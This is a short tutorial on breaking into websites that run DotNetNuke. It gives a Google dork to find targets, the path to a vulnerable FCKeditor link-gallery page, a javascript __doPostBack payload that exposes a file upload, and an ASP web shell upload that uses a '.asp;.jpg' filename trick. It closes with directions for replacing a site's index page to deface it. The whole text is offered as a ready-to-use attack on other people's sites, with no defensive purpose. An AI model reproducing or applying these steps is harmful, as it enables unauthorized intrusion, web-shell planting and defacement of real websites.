Step 1: Go to Google Then paste this dork in a search bar

Dork :

inurl:/tabid/36/language/en-US/Default.aspx

Step 2: Now this will show all the pages which has "/tabid/36/language/en-US/Default.aspx” in their URL,Click anyone of them.

For example take this site.
Example:
http://www.website.com/Home/tabid/36/language/en-U/Default.aspx

Step 3: Now replace

/Home/tabid/36/Language/en-US/Default.aspx

with this

/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Step 4: Now Click On File Option

Step 5: Then Select Root

Step 6: Now replace the full URL with this javascript:

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

Step 7: After replacing URL ,you will find the Upload Option now upload your shell.
Download ASP shell here.

Step 8: Now paste your URL,Something like this

www.yoursite.com/portals/0/yourshellname.asp;.jpg

Now if you want to deface the website,search for the index.aspx or index.html and then Upload Your Deface Page.